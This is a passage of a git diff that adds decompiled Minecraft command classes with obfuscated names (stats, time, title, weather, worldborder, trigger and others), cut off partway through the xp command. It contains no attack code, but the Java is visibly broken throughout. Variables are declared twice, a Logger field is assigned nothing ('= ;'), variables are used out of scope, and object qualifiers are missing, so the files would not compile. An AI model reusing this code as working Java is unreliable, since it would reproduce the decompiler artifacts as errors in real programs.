+      if (field_111100_b < p_111093_3_)
+      {
+        field_111100_b = p_111093_3_;
+        var9 = true;
+      }
+      else if (field_111100_b > p_111093_7_)
+      {
+        field_111100_b = p_111093_7_;
+        var9 = true;
+      }
+      
+      return var9;
+    }
+    
+    public int func_111092_a(World worldIn)
+    {
+      BlockPos var2 = new BlockPos(field_111101_a, 256.0D, field_111100_b);
+      
+      do
+      {
+        if (var2.getY() <= 0)
+        {
+          return 257;
+        }
+        
+        var2 = var2.offsetDown();
+      }
+      while (worldIn.getBlockState(var2).getBlock().getMaterial() == Material.air);
+      
+      return var2.getY() + 1;
+    }
+    
+    public boolean func_111098_b(World worldIn)
+    {
+      BlockPos var2 = new BlockPos(field_111101_a, 256.0D, field_111100_b);
+      
+      Material var3;
+      do
+      {
+        if (var2.getY() <= 0)
+        {
+          return false;
+        }
+        
+        var2 = var2.offsetDown();
+        var3 = worldIn.getBlockState(var2).getBlock().getMaterial();
+      }
+      while (var3 == Material.air);
+      
+      return (!var3.isLiquid()) && (var3 != Material.fire);
+    }
+    
+    public void func_111097_a(Random p_111097_1_, double p_111097_2_, double p_111097_4_, double p_111097_6_, double p_111097_8_)
+    {
+      field_111101_a = MathHelper.getRandomDoubleInRange(p_111097_1_, p_111097_2_, p_111097_6_);
+      field_111100_b = MathHelper.getRandomDoubleInRange(p_111097_1_, p_111097_4_, p_111097_8_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandStats.java b/src/minecraft/net/minecraft/command/CommandStats.java
new file mode 100644
index 0000000..4c69fb7
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandStats.java
@@ -0,0 +1,225 @@
+package net.minecraft.command;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import net.minecraft.entity.Entity;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityCommandBlock;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class CommandStats extends CommandBase
+{
+  private static final String __OBFID = "CL_00002339";
+  
+  public CommandStats() {}
+  
+  public String getCommandName()
+  {
+    return "stats";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.stats.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.stats.usage", new Object[0]);
+    }
+    
+    boolean var3;
+    
+    boolean var3;
+    if (args[0].equals("entity"))
+    {
+      var3 = false;
+    }
+    else
+    {
+      if (!args[0].equals("block"))
+      {
+        throw new WrongUsageException("commands.stats.usage", new Object[0]);
+      }
+      
+      var3 = true;
+    }
+    
+    byte var4;
+    byte var4;
+    if (var3)
+    {
+      if (args.length < 5)
+      {
+        throw new WrongUsageException("commands.stats.block.usage", new Object[0]);
+      }
+      
+      var4 = 4;
+    }
+    else
+    {
+      if (args.length < 3)
+      {
+        throw new WrongUsageException("commands.stats.entity.usage", new Object[0]);
+      }
+      
+      var4 = 2;
+    }
+    
+    int var11 = var4 + 1;
+    String var5 = args[var4];
+    
+    if ("set".equals(var5))
+    {
+      if (args.length < var11 + 3)
+      {
+        if (var11 == 5)
+        {
+          throw new WrongUsageException("commands.stats.block.set.usage", new Object[0]);
+        }
+        
+        throw new WrongUsageException("commands.stats.entity.set.usage", new Object[0]);
+      }
+    }
+    else
+    {
+      if (!"clear".equals(var5))
+      {
+        throw new WrongUsageException("commands.stats.usage", new Object[0]);
+      }
+      
+      if (args.length < var11 + 1)
+      {
+        if (var11 == 5)
+        {
+          throw new WrongUsageException("commands.stats.block.clear.usage", new Object[0]);
+        }
+        
+        throw new WrongUsageException("commands.stats.entity.clear.usage", new Object[0]);
+      }
+    }
+    
+    CommandResultStats.Type var6 = CommandResultStats.Type.func_179635_a(args[(var11++)]);
+    
+    if (var6 == null)
+    {
+      throw new CommandException("commands.stats.failed", new Object[0]);
+    }
+    
+
+    World var7 = sender.getEntityWorld();
+    
+    CommandResultStats var8;
+    
+    CommandResultStats var8;
+    if (var3)
+    {
+      BlockPos var9 = func_175757_a(sender, args, 1, false);
+      TileEntity var10 = var7.getTileEntity(var9);
+      
+      if (var10 == null)
+      {
+        throw new CommandException("commands.stats.noCompatibleBlock", new Object[] { Integer.valueOf(var9.getX()), Integer.valueOf(var9.getY()), Integer.valueOf(var9.getZ()) });
+      }
+      CommandResultStats var8;
+      if ((var10 instanceof TileEntityCommandBlock))
+      {
+        var8 = ((TileEntityCommandBlock)var10).func_175124_c();
+      }
+      else
+      {
+        if (!(var10 instanceof TileEntitySign))
+        {
+          throw new CommandException("commands.stats.noCompatibleBlock", new Object[] { Integer.valueOf(var9.getX()), Integer.valueOf(var9.getY()), Integer.valueOf(var9.getZ()) });
+        }
+        
+        var8 = ((TileEntitySign)var10).func_174880_d();
+      }
+    }
+    else
+    {
+      Entity var12 = func_175768_b(sender, args[1]);
+      var8 = var12.func_174807_aT();
+    }
+    
+    if ("set".equals(var5))
+    {
+      String var13 = args[(var11++)];
+      String var14 = args[var11];
+      
+      if ((var13.length() == 0) || (var14.length() == 0))
+      {
+        throw new CommandException("commands.stats.failed", new Object[0]);
+      }
+      
+      CommandResultStats.func_179667_a(var8, var6, var13, var14);
+      notifyOperators(sender, this, "commands.stats.success", new Object[] { var6.func_179637_b(), var14, var13 });
+    }
+    else if ("clear".equals(var5))
+    {
+      CommandResultStats.func_179667_a(var8, var6, null, null);
+      notifyOperators(sender, this, "commands.stats.cleared", new Object[] { var6.func_179637_b() });
+    }
+    
+    if (var3)
+    {
+      BlockPos var9 = func_175757_a(sender, args, 1, false);
+      TileEntity var10 = var7.getTileEntity(var9);
+      var10.markDirty();
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return ((args.length != 3) || (!args[0].equals("entity"))) && ((args.length != 5) || (!args[0].equals("block"))) ? getListOfStringsMatchingLastWord(args, CommandResultStats.Type.func_179634_c()) : ((args.length != 4) || (!args[0].equals("entity"))) && ((args.length != 6) || (!args[0].equals("block"))) ? func_175762_a(args, func_175777_e()) : ((args.length != 6) || (!args[0].equals("entity"))) && ((args.length != 8) || (!args[0].equals("block"))) ? null : (args.length == 2) && (args[0].equals("entity")) ? getListOfStringsMatchingLastWord(args, func_175776_d()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "entity", "block" }) : getListOfStringsMatchingLastWord(args, new String[] { "set", "clear" });
+  }
+  
+  protected String[] func_175776_d()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+  protected java.util.List func_175777_e()
+  {
+    Collection var1 = MinecraftServer.getServer().worldServerForDimension(0).getScoreboard().getScoreObjectives();
+    ArrayList var2 = com.google.common.collect.Lists.newArrayList();
+    Iterator var3 = var1.iterator();
+    
+    while (var3.hasNext())
+    {
+      ScoreObjective var4 = (ScoreObjective)var3.next();
+      
+      if (!var4.getCriteria().isReadOnly())
+      {
+        var2.add(var4.getName());
+      }
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return (args.length > 0) && (args[0].equals("entity")) && (index == 1);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandTime.java b/src/minecraft/net/minecraft/command/CommandTime.java
new file mode 100644
index 0000000..5b78c1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandTime.java
@@ -0,0 +1,114 @@
+package net.minecraft.command;
+
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.world.WorldServer;
+
+public class CommandTime extends CommandBase
+{
+  private static final String __OBFID = "CL_00001183";
+  
+  public CommandTime() {}
+  
+  public String getCommandName()
+  {
+    return "time";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.time.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length > 1)
+    {
+
+
+      if (args[0].equals("set")) { int var3;
+        int var3;
+        if (args[1].equals("day"))
+        {
+          var3 = 1000;
+        } else { int var3;
+          if (args[1].equals("night"))
+          {
+            var3 = 13000;
+          }
+          else
+          {
+            var3 = parseInt(args[1], 0);
+          }
+        }
+        setTime(sender, var3);
+        notifyOperators(sender, this, "commands.time.set", new Object[] { Integer.valueOf(var3) });
+        return;
+      }
+      
+      if (args[0].equals("add"))
+      {
+        int var3 = parseInt(args[1], 0);
+        addTime(sender, var3);
+        notifyOperators(sender, this, "commands.time.added", new Object[] { Integer.valueOf(var3) });
+        return;
+      }
+      
+      if (args[0].equals("query"))
+      {
+        if (args[1].equals("daytime"))
+        {
+          int var3 = (int)(sender.getEntityWorld().getWorldTime() % 2147483647L);
+          sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var3);
+          notifyOperators(sender, this, "commands.time.query", new Object[] { Integer.valueOf(var3) });
+          return;
+        }
+        
+        if (args[1].equals("gametime"))
+        {
+          int var3 = (int)(sender.getEntityWorld().getTotalWorldTime() % 2147483647L);
+          sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, var3);
+          notifyOperators(sender, this, "commands.time.query", new Object[] { Integer.valueOf(var3) });
+          return;
+        }
+      }
+    }
+    
+    throw new WrongUsageException("commands.time.usage", new Object[0]);
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return (args.length == 2) && (args[0].equals("query")) ? getListOfStringsMatchingLastWord(args, new String[] { "daytime", "gametime" }) : (args.length == 2) && (args[0].equals("set")) ? getListOfStringsMatchingLastWord(args, new String[] { "day", "night" }) : args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "set", "add", "query" }) : null;
+  }
+  
+
+
+
+  protected void setTime(ICommandSender p_71552_1_, int p_71552_2_)
+  {
+    for (int var3 = 0; var3 < getServerworldServers.length; var3++)
+    {
+      getServerworldServers[var3].setWorldTime(p_71552_2_);
+    }
+  }
+  
+
+
+
+  protected void addTime(ICommandSender p_71553_1_, int p_71553_2_)
+  {
+    for (int var3 = 0; var3 < getServerworldServers.length; var3++)
+    {
+      WorldServer var4 = getServerworldServers[var3];
+      var4.setWorldTime(var4.getWorldTime() + p_71553_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandTitle.java b/src/minecraft/net/minecraft/command/CommandTitle.java
new file mode 100644
index 0000000..08981ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandTitle.java
@@ -0,0 +1,129 @@
+package net.minecraft.command;
+
+import com.google.gson.JsonParseException;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S45PacketTitle;
+import net.minecraft.network.play.server.S45PacketTitle.Type;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentProcessor;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import org.apache.logging.log4j.Logger;
+
+public class CommandTitle extends CommandBase
+{
+  private static final Logger field_175774_a = ;
+  private static final String __OBFID = "CL_00002338";
+  
+  public CommandTitle() {}
+  
+  public String getCommandName() { return "title"; }
+  
+
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.title.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException("commands.title.usage", new Object[0]);
+    }
+    
+
+    if (args.length < 3)
+    {
+      if (("title".equals(args[1])) || ("subtitle".equals(args[1])))
+      {
+        throw new WrongUsageException("commands.title.usage.title", new Object[0]);
+      }
+      
+      if ("times".equals(args[1]))
+      {
+        throw new WrongUsageException("commands.title.usage.times", new Object[0]);
+      }
+    }
+    
+    EntityPlayerMP var3 = getPlayer(sender, args[0]);
+    S45PacketTitle.Type var4 = S45PacketTitle.Type.func_179969_a(args[1]);
+    
+    if ((var4 != S45PacketTitle.Type.CLEAR) && (var4 != S45PacketTitle.Type.RESET))
+    {
+      if (var4 == S45PacketTitle.Type.TIMES)
+      {
+        if (args.length != 5)
+        {
+          throw new WrongUsageException("commands.title.usage", new Object[0]);
+        }
+        
+
+        int var11 = parseInt(args[2]);
+        int var12 = parseInt(args[3]);
+        int var13 = parseInt(args[4]);
+        S45PacketTitle var14 = new S45PacketTitle(var11, var12, var13);
+        playerNetServerHandler.sendPacket(var14);
+        notifyOperators(sender, this, "commands.title.success", new Object[0]);
+      }
+      else {
+        if (args.length < 3)
+        {
+          throw new WrongUsageException("commands.title.usage", new Object[0]);
+        }
+        
+
+        String var10 = func_180529_a(args, 2);
+        
+
+        try
+        {
+          var6 = IChatComponent.Serializer.jsonToComponent(var10);
+        }
+        catch (JsonParseException var9) {
+          IChatComponent var6;
+          Throwable var8 = org.apache.commons.lang3.exception.ExceptionUtils.getRootCause(var9);
+          throw new SyntaxErrorException("commands.tellraw.jsonException", new Object[] { var8 == null ? "" : var8.getMessage() });
+        }
+        IChatComponent var6;
+        S45PacketTitle var7 = new S45PacketTitle(var4, ChatComponentProcessor.func_179985_a(sender, var6, var3));
+        playerNetServerHandler.sendPacket(var7);
+        notifyOperators(sender, this, "commands.title.success", new Object[0]);
+      }
+    } else {
+      if (args.length != 2)
+      {
+        throw new WrongUsageException("commands.title.usage", new Object[0]);
+      }
+      
+
+      S45PacketTitle var5 = new S45PacketTitle(var4, null);
+      playerNetServerHandler.sendPacket(var5);
+      notifyOperators(sender, this, "commands.title.success", new Object[0]);
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 2 ? getListOfStringsMatchingLastWord(args, S45PacketTitle.Type.func_179971_a()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandToggleDownfall.java b/src/minecraft/net/minecraft/command/CommandToggleDownfall.java
new file mode 100644
index 0000000..195c463
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandToggleDownfall.java
@@ -0,0 +1,42 @@
+package net.minecraft.command;
+
+import net.minecraft.world.storage.WorldInfo;
+
+public class CommandToggleDownfall extends CommandBase
+{
+  private static final String __OBFID = "CL_00001184";
+  
+  public CommandToggleDownfall() {}
+  
+  public String getCommandName() {
+    return "toggledownfall";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.downfall.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    toggleDownfall();
+    notifyOperators(sender, this, "commands.downfall.success", new Object[0]);
+  }
+  
+
+
+
+  protected void toggleDownfall()
+  {
+    WorldInfo var1 = getServerworldServers[0].getWorldInfo();
+    var1.setRaining(!var1.isRaining());
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandTrigger.java b/src/minecraft/net/minecraft/command/CommandTrigger.java
new file mode 100644
index 0000000..d921be3
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandTrigger.java
@@ -0,0 +1,139 @@
+package net.minecraft.command;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.WorldServer;
+
+public class CommandTrigger extends CommandBase
+{
+  private static final String __OBFID = "CL_00002337";
+  
+  public CommandTrigger() {}
+  
+  public String getCommandName()
+  {
+    return "trigger";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 0;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.trigger.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 3)
+    {
+      throw new WrongUsageException("commands.trigger.usage", new Object[0]);
+    }
+    
+    EntityPlayerMP var3;
+    
+    EntityPlayerMP var3;
+    if ((sender instanceof EntityPlayerMP))
+    {
+      var3 = (EntityPlayerMP)sender;
+    }
+    else
+    {
+      net.minecraft.entity.Entity var4 = sender.getCommandSenderEntity();
+      
+      if (!(var4 instanceof EntityPlayerMP))
+      {
+        throw new CommandException("commands.trigger.invalidPlayer", new Object[0]);
+      }
+      
+      var3 = (EntityPlayerMP)var4;
+    }
+    
+    Scoreboard var8 = MinecraftServer.getServer().worldServerForDimension(0).getScoreboard();
+    ScoreObjective var5 = var8.getObjective(args[0]);
+    
+    if ((var5 != null) && (var5.getCriteria() == IScoreObjectiveCriteria.field_178791_c))
+    {
+      int var6 = parseInt(args[2]);
+      
+      if (!var8.func_178819_b(var3.getName(), var5))
+      {
+        throw new CommandException("commands.trigger.invalidObjective", new Object[] { args[0] });
+      }
+      
+
+      Score var7 = var8.getValueFromObjective(var3.getName(), var5);
+      
+      if (var7.func_178816_g())
+      {
+        throw new CommandException("commands.trigger.disabled", new Object[] { args[0] });
+      }
+      
+
+      if ("set".equals(args[1]))
+      {
+        var7.setScorePoints(var6);
+      }
+      else
+      {
+        if (!"add".equals(args[1]))
+        {
+          throw new CommandException("commands.trigger.invalidMode", new Object[] { args[1] });
+        }
+        
+        var7.increseScore(var6);
+      }
+      
+      var7.func_178815_a(true);
+      
+      if (theItemInWorldManager.isCreative())
+      {
+        notifyOperators(sender, this, "commands.trigger.success", new Object[] { args[0], args[1], args[2] });
+      }
+      
+
+    }
+    else
+    {
+      throw new CommandException("commands.trigger.invalidObjective", new Object[] { args[0] });
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      Scoreboard var4 = MinecraftServer.getServer().worldServerForDimension(0).getScoreboard();
+      ArrayList var5 = com.google.common.collect.Lists.newArrayList();
+      Iterator var6 = var4.getScoreObjectives().iterator();
+      
+      while (var6.hasNext())
+      {
+        ScoreObjective var7 = (ScoreObjective)var6.next();
+        
+        if (var7.getCriteria() == IScoreObjectiveCriteria.field_178791_c)
+        {
+          var5.add(var7.getName());
+        }
+      }
+      
+      return getListOfStringsMatchingLastWord(args, (String[])var5.toArray(new String[var5.size()]));
+    }
+    
+
+    return args.length == 2 ? getListOfStringsMatchingLastWord(args, new String[] { "add", "set" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandWeather.java b/src/minecraft/net/minecraft/command/CommandWeather.java
new file mode 100644
index 0000000..cc59f1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandWeather.java
@@ -0,0 +1,89 @@
+package net.minecraft.command;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.storage.WorldInfo;
+
+public class CommandWeather extends CommandBase
+{
+  private static final String __OBFID = "CL_00001185";
+  
+  public CommandWeather() {}
+  
+  public String getCommandName()
+  {
+    return "weather";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.weather.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length >= 1) && (args.length <= 2))
+    {
+      int var3 = (300 + new Random().nextInt(600)) * 20;
+      
+      if (args.length >= 2)
+      {
+        var3 = parseInt(args[1], 1, 1000000) * 20;
+      }
+      
+      WorldServer var4 = getServerworldServers[0];
+      WorldInfo var5 = var4.getWorldInfo();
+      
+      if ("clear".equalsIgnoreCase(args[0]))
+      {
+        var5.func_176142_i(var3);
+        var5.setRainTime(0);
+        var5.setThunderTime(0);
+        var5.setRaining(false);
+        var5.setThundering(false);
+        notifyOperators(sender, this, "commands.weather.clear", new Object[0]);
+      }
+      else if ("rain".equalsIgnoreCase(args[0]))
+      {
+        var5.func_176142_i(0);
+        var5.setRainTime(var3);
+        var5.setThunderTime(var3);
+        var5.setRaining(true);
+        var5.setThundering(false);
+        notifyOperators(sender, this, "commands.weather.rain", new Object[0]);
+      }
+      else
+      {
+        if (!"thunder".equalsIgnoreCase(args[0]))
+        {
+          throw new WrongUsageException("commands.weather.usage", new Object[0]);
+        }
+        
+        var5.func_176142_i(0);
+        var5.setRainTime(var3);
+        var5.setThunderTime(var3);
+        var5.setRaining(true);
+        var5.setThundering(true);
+        notifyOperators(sender, this, "commands.weather.thunder", new Object[0]);
+      }
+    }
+    else
+    {
+      throw new WrongUsageException("commands.weather.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "clear", "rain", "thunder" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandWorldBorder.java b/src/minecraft/net/minecraft/command/CommandWorldBorder.java
new file mode 100644
index 0000000..ae72c46
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandWorldBorder.java
@@ -0,0 +1,201 @@
+package net.minecraft.command;
+
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.border.WorldBorder;
+
+public class CommandWorldBorder extends CommandBase
+{
+  private static final String __OBFID = "CL_00002336";
+  
+  public CommandWorldBorder() {}
+  
+  public String getCommandName()
+  {
+    return "worldborder";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.worldborder.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.worldborder.usage", new Object[0]);
+    }
+    
+
+    WorldBorder var3 = getWorldBorder();
+    
+
+
+
+    if (args[0].equals("set"))
+    {
+      if ((args.length != 2) && (args.length != 3))
+      {
+        throw new WrongUsageException("commands.worldborder.set.usage", new Object[0]);
+      }
+      
+      double var4 = var3.getTargetSize();
+      double var6 = parseDouble(args[1], 1.0D, 6.0E7D);
+      long var8 = args.length > 2 ? parseLong(args[2], 0L, 9223372036854775L) * 1000L : 0L;
+      
+      if (var8 > 0L)
+      {
+        var3.setTransition(var4, var6, var8);
+        
+        if (var4 > var6)
+        {
+          notifyOperators(sender, this, "commands.worldborder.setSlowly.shrink.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }), Long.toString(var8 / 1000L) });
+        }
+        else
+        {
+          notifyOperators(sender, this, "commands.worldborder.setSlowly.grow.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }), Long.toString(var8 / 1000L) });
+        }
+      }
+      else
+      {
+        var3.setTransition(var6);
+        notifyOperators(sender, this, "commands.worldborder.set.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }) });
+      }
+    }
+    else if (args[0].equals("add"))
+    {
+      if ((args.length != 2) && (args.length != 3))
+      {
+        throw new WrongUsageException("commands.worldborder.add.usage", new Object[0]);
+      }
+      
+      double var4 = var3.getDiameter();
+      double var6 = var4 + parseDouble(args[1], -var4, 6.0E7D - var4);
+      long var8 = var3.getTimeUntilTarget() + (args.length > 2 ? parseLong(args[2], 0L, 9223372036854775L) * 1000L : 0L);
+      
+      if (var8 > 0L)
+      {
+        var3.setTransition(var4, var6, var8);
+        
+        if (var4 > var6)
+        {
+          notifyOperators(sender, this, "commands.worldborder.setSlowly.shrink.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }), Long.toString(var8 / 1000L) });
+        }
+        else
+        {
+          notifyOperators(sender, this, "commands.worldborder.setSlowly.grow.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }), Long.toString(var8 / 1000L) });
+        }
+      }
+      else
+      {
+        var3.setTransition(var6);
+        notifyOperators(sender, this, "commands.worldborder.set.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var6) }), String.format("%.1f", new Object[] { Double.valueOf(var4) }) });
+      }
+    }
+    else if (args[0].equals("center"))
+    {
+      if (args.length != 3)
+      {
+        throw new WrongUsageException("commands.worldborder.center.usage", new Object[0]);
+      }
+      
+      BlockPos var10 = sender.getPosition();
+      double var5 = func_175761_b(var10.getX() + 0.5D, args[1], true);
+      double var7 = func_175761_b(var10.getZ() + 0.5D, args[2], true);
+      var3.setCenter(var5, var7);
+      notifyOperators(sender, this, "commands.worldborder.center.success", new Object[] { Double.valueOf(var5), Double.valueOf(var7) });
+    }
+    else if (args[0].equals("damage"))
+    {
+      if (args.length < 2)
+      {
+        throw new WrongUsageException("commands.worldborder.damage.usage", new Object[0]);
+      }
+      
+      if (args[1].equals("buffer"))
+      {
+        if (args.length != 3)
+        {
+          throw new WrongUsageException("commands.worldborder.damage.buffer.usage", new Object[0]);
+        }
+        
+        double var4 = parseDouble(args[2], 0.0D);
+        double var6 = var3.getDamageBuffer();
+        var3.setDamageBuffer(var4);
+        notifyOperators(sender, this, "commands.worldborder.damage.buffer.success", new Object[] { String.format("%.1f", new Object[] { Double.valueOf(var4) }), String.format("%.1f", new Object[] { Double.valueOf(var6) }) });
+      }
+      else if (args[1].equals("amount"))
+      {
+        if (args.length != 3)
+        {
+          throw new WrongUsageException("commands.worldborder.damage.amount.usage", new Object[0]);
+        }
+        
+        double var4 = parseDouble(args[2], 0.0D);
+        double var6 = var3.func_177727_n();
+        var3.func_177744_c(var4);
+        notifyOperators(sender, this, "commands.worldborder.damage.amount.success", new Object[] { String.format("%.2f", new Object[] { Double.valueOf(var4) }), String.format("%.2f", new Object[] { Double.valueOf(var6) }) });
+      }
+    }
+    else if (args[0].equals("warning"))
+    {
+      if (args.length < 2)
+      {
+        throw new WrongUsageException("commands.worldborder.warning.usage", new Object[0]);
+      }
+      
+      int var11 = parseInt(args[2], 0);
+      
+
+      if (args[1].equals("time"))
+      {
+        if (args.length != 3)
+        {
+          throw new WrongUsageException("commands.worldborder.warning.time.usage", new Object[0]);
+        }
+        
+        int var12 = var3.getWarningTime();
+        var3.setWarningTime(var11);
+        notifyOperators(sender, this, "commands.worldborder.warning.time.success", new Object[] { Integer.valueOf(var11), Integer.valueOf(var12) });
+      }
+      else if (args[1].equals("distance"))
+      {
+        if (args.length != 3)
+        {
+          throw new WrongUsageException("commands.worldborder.warning.distance.usage", new Object[0]);
+        }
+        
+        int var12 = var3.getWarningDistance();
+        var3.setWarningDistance(var11);
+        notifyOperators(sender, this, "commands.worldborder.warning.distance.success", new Object[] { Integer.valueOf(var11), Integer.valueOf(var12) });
+      }
+    }
+    else if (args[0].equals("get"))
+    {
+      double var4 = var3.getDiameter();
+      sender.func_174794_a(CommandResultStats.Type.QUERY_RESULT, MathHelper.floor_double(var4 + 0.5D));
+      sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.worldborder.get.success", new Object[] { String.format("%.0f", new Object[] { Double.valueOf(var4) }) }));
+    }
+  }
+  
+
+  protected WorldBorder getWorldBorder()
+  {
+    return getServerworldServers[0].getWorldBorder();
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length == 2) && (args[0].equals("warning")) ? getListOfStringsMatchingLastWord(args, new String[] { "time", "distance" }) : (args.length == 2) && (args[0].equals("damage")) ? getListOfStringsMatchingLastWord(args, new String[] { "buffer", "amount" }) : args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "set", "center", "damage", "warning", "add", "get" }) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandXP.java b/src/minecraft/net/minecraft/command/CommandXP.java
new file mode 100644
index 0000000..2377fbb
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandXP.java
@@ -0,0 +1,103 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandXP extends CommandBase
+{
+  private static final String __OBFID = "CL_00000398";
+  
+  public CommandXP() {}
+  
+  public String getCommandName()
+  {
+    return "xp";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.xp.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length <= 0)
+    {
+      throw new WrongUsageException("commands.xp.usage", new Object[0]);
+    }
+    
+
+    String var3 = args[0];
+    boolean var4 = (var3.endsWith("l")) || (var3.endsWith("L"));
+    
+    if ((var4) && (var3.length() > 1))
+    {
+      var3 = var3.substring(0, var3.length() - 1);
+    }
+    
+    int var5 = parseInt(var3);
+    boolean var6 = var5 < 0;
+    
+    if (var6)
+    {
+      var5 *= -1;
+    }
+    
